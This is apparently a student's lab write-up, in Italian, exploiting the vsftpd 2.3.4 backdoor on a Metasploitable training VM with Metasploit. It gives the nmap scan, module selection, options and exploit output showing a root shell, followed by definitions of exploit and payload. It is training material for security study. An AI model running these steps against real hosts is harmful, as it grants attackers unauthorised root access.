

[CONSEGNA SETTIMANA 7 LEZIONE 1]

Hacking con Metasploit

Tra i vari tool a disposizione per l'esecuzione degli exploit, quello a cui ci affideremo è Metasploit, vediamo come procedere.

Come target useremo la macchina metasploitable (IP 192.168.5.220) e come attaccante la macchina Kali (IP 192.168.5.80).

Il servizio vulnerabile che sfrutteremo oggi è vsftpd versione v.2.3.4, le informazioni riguardanti questo servizio le abbiamo recuperate tramite il software *nmap* con il seguente comando **nmap -sV 192.168.5.220**.

Apriamo quindi, tramite terminale, Metasploit con il comando **msfconsole**.

```
$ sudo su
[sudo] password for kali:
(root@kali)~[/home/kali]
# msfconsole
Metasploit tip: Enable HTTP request and response logging with set HttpTrace
true

Metasploit v6.3.43-dev
+ --=[ 2376 exploits - 1232 auxiliary - 416 post ]
+ --=[ 1388 payloads - 46 encoders - 11 nops ]
+ --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of S
ervice
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor C
ommand Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_b
ackdoor
```

Facendo una ricerca tramite il comando **search vsftpd** possiamo notare che sono 2 i risultati disponibili, quello che utilizzeremo è il secondo, in quanto la versione è compatibile con quella presente sulla macchina target.

```
msf6 > use 1
[*] Using configured payload cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.5.220   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     21              yes       The target port (TCP)

Payload options (cmd/unix/interact):

Name      Current Setting  Required  Description
--      -
PAYLOAD   cmd/unix/interact  yes       The target command to execute via the remote process

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.5.220:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.5.220:21 - USER: 331 Please specify the password.
[*] 192.168.5.220:21 - Backdoor service has been spawned, handling ...
[*] 192.168.5.220:21 - UID: uid=0(root) gid=0(root)
[*] Found Shell.
[*] Command shell session 1 opened (192.168.5.80:33597 -> 192.168.5.220:6200) at 2024-01-22 05:33:39 -0500
```

Scelto l'exploit da utilizzare, occorre impostare alcuni parametri, come l'indirizzo IP della macchina target. Per vedere i parametri necessari utilizzeremo il comando **show options**.

Impostiamo quindi l'indirizzo IP della macchina metasploitable tramite il comando **set rhosts 192.168.5.220**.

In questo caso possiamo notare che non ci sono payload disponibili tra cui scegliere quindi procederemo direttamente con l'exploit tramite il comando **exploit**.

Avendo creato una sessione, siamo ora in grado di poter effettuare numerose operazioni sulla macchina target, in questo caso procediamo con il creare una cartella *test_metasploit*.

Creiamola tramite il comando **mkdir** e dirigiamoci quindi sulla macchina metasploitable.

```
msfadmin@metasploitable:/home$ ls
ftp  msfadmin  service  user
msfadmin@metasploitable:/home$ cd ..
msfadmin@metasploitable:/ $ ls
bin      dev      initrd    lost+found  nohup.out  root    sys    var
boot     etc      initrd.img  media       opt         sbin    tmp    vmlinuz
cdrom    home     lib        mnt         proc        srv     usr
msfadmin@metasploitable:/ $ cd root/
msfadmin@metasploitable:/root$ ls
Desktop  reset_logs.sh  test_metasploit  vnc.log
msfadmin@metasploitable:/root$
```

Tramite il comando **ls** notiamo che la cartella è stata correttamente effettuata e quindi l'exploit ha avuto successo.

Alcune nozioni importanti

Cosa si intende per exploit?

Con il termine exploit nel campo informatico si fa riferimento ad una porzione di codice che sfrutta le vulnerabilità presenti in un determinato soggetto per creare malfunzionamenti, ottenere accesso al sistema, acquisire i privilegi di amministratore e attaccare la macchina target.

Cosa si intende per payload?

Con payload, nel contesto legato al tool metasploit, si fa riferimento ad insieme di istruzioni che viene trasferito sulla macchina target per poi poter procedere all'exploit. Da non confondersi con il payload, sempre in ambito informatico, che fa riferimento ai dati trasportati dai protocolli durante le comunicazioni tra due o più macchine.